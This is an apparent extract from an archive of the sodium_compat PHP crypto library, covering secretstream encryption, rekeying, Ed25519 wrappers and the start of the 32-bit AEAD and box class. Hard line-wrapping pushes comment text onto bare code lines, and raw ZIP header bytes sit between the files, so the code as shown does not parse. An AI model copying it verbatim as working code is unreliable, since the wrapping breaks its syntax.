        $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state);
        # crypto_onetimeauth_poly1305_state poly1305_state;
        # unsigned char                     block[64U];
        # unsigned char                     slen[8U];
        # unsigned char                    *c;
        # unsigned char                    *mac;

        $msglen = ParagonIE_Sodium_Core_Util::strlen($msg);
        $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad);

        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than
SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

        # if (outlen_p != NULL) {
        #     *outlen_p = 0U;
        # }
        # if (mlen >
crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #     sodium_misuse();
        # }

        # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce,
state->k);
        # crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        # sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_ChaCha20::ietfStream(32,
$st->getCombinedNonce(), $st->getKey())
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, ad,
adlen);
        $auth->update($aad);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
        #     (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) &
0xf)));

        # memset(block, 0, sizeof block);
        # block[0] = tag;
        # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
        #                                    state->nonce, 1U,
state->k);
        $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core_Util::intToChr($tag) .
str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, block,
sizeof block);
        $auth->update($block);

        # out[0] = block[0];
        $out = $block[0];
        # c = out + (sizeof tag);
        # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce,
2U, state->k);
        $cipher = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $msg,
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(2)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
        $auth->update($cipher);

        $out .= $cipher;
        unset($cipher);

        # crypto_onetimeauth_poly1305_update
        # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) &
0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen)
& 0xf)));

        # STORE64_LE(slen, (uint64_t) adlen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen,
sizeof slen);
        $auth->update($slen);

        # STORE64_LE(slen, (sizeof block) + mlen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen,
sizeof slen);
        $auth->update($slen);

        # mac = c + mlen;
        # crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        $mac = $auth->finish();
        $out .= $mac;

        # sodium_memzero(&poly1305_state, sizeof poly1305_state);
        unset($auth);


        # XOR_BUF(STATE_INONCE(state), mac,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        # sodium_increment(STATE_COUNTER(state),
        #     crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();
        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag &
ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY)
!== 0;
        # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY)
!= 0 ||
        #     sodium_is_zero(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
        #     crypto_secretstream_xchacha20poly1305_rekey(state);
        # }
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        # if (outlen_p != NULL) {
        #     *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES +
mlen;
        # }
        return $out;
    }

    /**
     * @param string $state
     * @param string $cipher
     * @param string $aad
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_pull(&$state,
$cipher, $aad = '')
    {
        $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state);

        $cipherlen = ParagonIE_Sodium_Core_Util::strlen($cipher);
        #     mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES;
        $msglen = $cipherlen -
ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES;
        $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad);

        #     if (mlen >
crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #         sodium_misuse();
        #     }
        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than
SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

        #     crypto_stream_chacha20_ietf(block, sizeof block,
state->nonce, state->k);
        #     crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        #     sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_ChaCha20::ietfStream(32,
$st->getCombinedNonce(), $st->getKey())
        );

        #     crypto_onetimeauth_poly1305_update(&poly1305_state, ad,
adlen);
        $auth->update($aad);

        #     crypto_onetimeauth_poly1305_update(&poly1305_state,
_pad0,
        #         (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) &
0xf)));


        #     memset(block, 0, sizeof block);
        #     block[0] = in[0];
        #     crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof
block,
        #                                        state->nonce, 1U,
state->k);
        $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $cipher[0] . str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );
        #     tag = block[0];
        #     block[0] = in[0];
        #     crypto_onetimeauth_poly1305_update(&poly1305_state,
block, sizeof block);
        $tag = ParagonIE_Sodium_Core_Util::chrToInt($block[0]);
        $block[0] = $cipher[0];
        $auth->update($block);


        #     c = in + (sizeof tag);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, c,
mlen);
        $auth->update(ParagonIE_Sodium_Core_Util::substr($cipher, 1,
$msglen));

        #     crypto_onetimeauth_poly1305_update
        #     (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen)
& 0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen)
& 0xf)));

        #     STORE64_LE(slen, (uint64_t) adlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen,
sizeof slen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen);
        $auth->update($slen);

        #     STORE64_LE(slen, (sizeof block) + mlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen,
sizeof slen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen);
        $auth->update($slen);

        #     crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        #     sodium_memzero(&poly1305_state, sizeof poly1305_state);
        $mac = $auth->finish();

        #     stored_mac = c + mlen;
        #     if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) {
        #     sodium_memzero(mac, sizeof mac);
        #         return -1;
        #     }

        $stored = ParagonIE_Sodium_Core_Util::substr($cipher, $msglen + 1,
16);
        if (!ParagonIE_Sodium_Core_Util::hashEquals($mac, $stored)) {
            return false;
        }

        #     crypto_stream_chacha20_ietf_xor_ic(m, c, mlen,
state->nonce, 2U, state->k);
        $out = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(2)
        );

        #     XOR_BUF(STATE_INONCE(state), mac,
        #         crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        #     sodium_increment(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();

        #     if ((tag &
crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
        #         sodium_is_zero(STATE_COUNTER(state),
        #             crypto_secretstream_xchacha20poly1305_COUNTERBYTES))
{
        #         crypto_secretstream_xchacha20poly1305_rekey(state);
        #     }

        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag &
ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY)
!== 0;
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        return array($out, $tag);
    }

    /**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    public static function
secretstream_xchacha20poly1305_rekey(&$state)
    {
        $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state);
        # unsigned char
new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES +
        # crypto_secretstream_xchacha20poly1305_INONCEBYTES];
        # size_t        i;
        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     new_key_and_inonce[i] = state->k[i];
        # }
        $new_key_and_inonce = $st->getKey();

        # for (i = 0U; i <
crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i]
=
        #         STATE_INONCE(state)[i];
        # }
        $new_key_and_inonce .=
ParagonIE_Sodium_Core_Util::substR($st->getNonce(), 0, 8);

        # crypto_stream_chacha20_ietf_xor(new_key_and_inonce,
new_key_and_inonce,
        #                                 sizeof new_key_and_inonce,
        #                                 state->nonce, state->k);

        $st->rekey(ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $new_key_and_inonce,
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(0)
        ));

        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     state->k[i] = new_key_and_inonce[i];
        # }
        # for (i = 0U; i <
crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     STATE_INONCE(state)[i] =
        #          new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES
+ i];
        # }
        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $st->counterReset();

        $state = $st->toString();
    }

    /**
     * Detached Ed25519 signature.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_detached($message, $sk)
    {
        return ParagonIE_Sodium_Core_Ed25519::sign_detached($message, $sk);
    }

    /**
     * Attached Ed25519 signature. (Returns a signed message.)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        return ParagonIE_Sodium_Core_Ed25519::sign($message, $sk);
    }

    /**
     * Opens a signed message. If valid, returns the message.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signedMessage
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_open($signedMessage, $pk)
    {
        return ParagonIE_Sodium_Core_Ed25519::sign_open($signedMessage,
$pk);
    }

    /**
     * Verify a detached signature of a given message and public key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signature
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_verify_detached($signature, $message, $pk)
    {
        return ParagonIE_Sodium_Core_Ed25519::verify_detached($signature,
$message, $pk);
    }
}
PK	�[��ӈO�O�Gchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Crypto32.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Crypto32', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Crypto
 *
 * ATTENTION!
 *
 * If you are using this library, you should be using
 * ParagonIE_Sodium_Compat in your code, not this class.
 */
abstract class ParagonIE_Sodium_Crypto32
{
    const aead_chacha20poly1305_KEYBYTES = 32;
    const aead_chacha20poly1305_NSECBYTES = 0;
    const aead_chacha20poly1305_NPUBBYTES = 8;
    const aead_chacha20poly1305_ABYTES = 16;

    const aead_chacha20poly1305_IETF_KEYBYTES = 32;
    const aead_chacha20poly1305_IETF_NSECBYTES = 0;
    const aead_chacha20poly1305_IETF_NPUBBYTES = 12;
    const aead_chacha20poly1305_IETF_ABYTES = 16;

    const aead_xchacha20poly1305_IETF_KEYBYTES = 32;
    const aead_xchacha20poly1305_IETF_NSECBYTES = 0;
    const aead_xchacha20poly1305_IETF_NPUBBYTES = 24;
    const aead_xchacha20poly1305_IETF_ABYTES = 16;

    const box_curve25519xsalsa20poly1305_SEEDBYTES = 32;
    const box_curve25519xsalsa20poly1305_PUBLICKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_SECRETKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_BEFORENMBYTES = 32;
    const box_curve25519xsalsa20poly1305_NONCEBYTES = 24;
    const box_curve25519xsalsa20poly1305_MACBYTES = 16;
    const box_curve25519xsalsa20poly1305_BOXZEROBYTES = 16;
    const box_curve25519xsalsa20poly1305_ZEROBYTES = 32;

    const onetimeauth_poly1305_BYTES = 16;
    const onetimeauth_poly1305_KEYBYTES = 32;

    const secretbox_xsalsa20poly1305_KEYBYTES = 32;
    const secretbox_xsalsa20poly1305_NONCEBYTES = 24;
    const secretbox_xsalsa20poly1305_MACBYTES = 16;
    const secretbox_xsalsa20poly1305_BOXZEROBYTES = 16;
    const secretbox_xsalsa20poly1305_ZEROBYTES = 32;

    const secretbox_xchacha20poly1305_KEYBYTES = 32;
    const secretbox_xchacha20poly1305_NONCEBYTES = 24;
    const secretbox_xchacha20poly1305_MACBYTES = 16;
    const secretbox_xchacha20poly1305_BOXZEROBYTES = 16;
    const secretbox_xchacha20poly1305_ZEROBYTES = 32;

    const stream_salsa20_KEYBYTES = 32;

    /**
     * AEAD Decryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core32_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_ABYTES;

        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core32_Util::substr(
            $message,
            $clen,
            self::aead_chacha20poly1305_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core32_Util::substr($message, 0,
$clen);

        /** @var string The first block of the chacha20 keystream, used as
a poly1305 key */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream(
            32,
            $nonce,
            $key
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
       
$state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac))
{
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return
the plaintext
        return ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core32_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as
a poly1305 key */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );

        $state->update($ad);
       
$state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);

        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core32_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES;

        /** @var string The first block of the chacha20 keystream, used as
a poly1305 key */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core32_Util::substr(
            $message,
            $len - self::aead_chacha20poly1305_IETF_ABYTES,
            self::aead_chacha20poly1305_IETF_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core32_Util::substr(
            $message,
            0,
            $len - self::aead_chacha20poly1305_IETF_ABYTES
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen)
& 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", (0x10 - $clen) &
0xf));
       
$state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac))
{
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return
the plaintext
        return ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core32_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as
a poly1305 key */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );

        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen)
& 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", ((0x10 - $len) &
0xf)));
       
$state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_decrypt($message, $ad,
$nonceLast, $subkey);
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_encrypt($message, $ad,
$nonceLast, $subkey);
    }

    /**
     * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $key
     * @return string
     * @throws TypeError
     */
    public static function auth($message, $key)
    {
        return ParagonIE_Sodium_Core32_Util::substr(
            hash_hmac('sha512', $message, $key, true),
            0,
            32
        );
    }

    /**
     * HMAC-SHA-512-256 validation. Constant-time via hash_equals().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $mac
     * @param string $message
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function auth_verify($mac, $message, $key)
    {
        return ParagonIE_Sodium_Core32_Util::hashEquals(
            $mac,
            self::auth($message, $key)
        );
    }

    /**
     * X25519 key exchange followed by XSalsa20Poly1305 symmetric
encryption
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box($plaintext, $nonce, $keypair)
    {
        return self::secretbox(
            $plaintext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
    }

    /**
     * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal($message, $publicKey)
    {
        /** @var string $ephemeralKeypair */
        $ephemeralKeypair = self::box_keypair();

        /** @var string $ephemeralSK */
        $ephemeralSK = self::box_secretkey($ephemeralKeypair);

        /** @var string $ephemeralPK */
        $ephemeralPK = self::box_publickey($ephemeralKeypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair - The combined keypair used in
crypto_box() */
        $keypair =
self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey);

        /** @var string $ciphertext Ciphertext + MAC from crypto_box */
        $ciphertext = self::box($message, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($ephemeralKeypair);
            ParagonIE_Sodium_Compat::memzero($ephemeralSK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $ephemeralKeypair = null;
            $ephemeralSK = null;
            $nonce = null;
        }
        return $ephemeralPK . $ciphertext;
    }

    /**
     * Opens a message encrypted via box_seal().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal_open($message, $keypair)
    {
        /** @var string $ephemeralPK */
        $ephemeralPK = ParagonIE_Sodium_Core32_Util::substr($message, 0,
32);

        /** @var string $ciphertext (ciphertext + MAC) */
        $ciphertext = ParagonIE_Sodium_Core32_Util::substr($message, 32);

        /** @var string $secretKey */
        $secretKey = self::box_secretkey($keypair);

        /** @var string $publicKey */
        $publicKey = self::box_publickey($keypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair */
        $keypair =
self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK);

        /** @var string $m */
        $m = self::box_open($ciphertext, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($secretKey);
            ParagonIE_Sodium_Compat::memzero($ephemeralPK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $secretKey = null;
            $ephemeralPK = null;
            $nonce = null;
        }
        return $m;
    }

    /**
     * Used by crypto_box() to get the crypto_secretbox() key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_beforenm($sk, $pk)
    {
        return ParagonIE_Sodium_Core32_HSalsa20::hsalsa20(
            str_repeat("\x00", 16),
            self::scalarmult($sk, $pk)
        );
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @return string
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_keypair()
    {
        $sKey = random_bytes(32);
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seed_keypair($seed)
    {
        $sKey = ParagonIE_Sodium_Core32_Util::substr(
            hash('sha512', $seed, true),
            0,
            32
        );
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     * @throws TypeError
     */
    public static function box_keypair_from_secretkey_and_publickey($sKey,
$pKey)
    {
        return ParagonIE_Sodium_Core32_Util::substr($sKey, 0, 32) .
            ParagonIE_Sodium_Core32_Util::substr($pKey, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_secretkey($keypair)
    {
        if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !== 64) {
            throw new RangeException(
                'Must be
ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core32_Util::substr($keypair, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_publickey($keypair)
    {
        if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !==
ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new RangeException(
                'Must be
ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core32_Util::substr($keypair, 32, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_publickey_from_secretkey($sKey)
    {
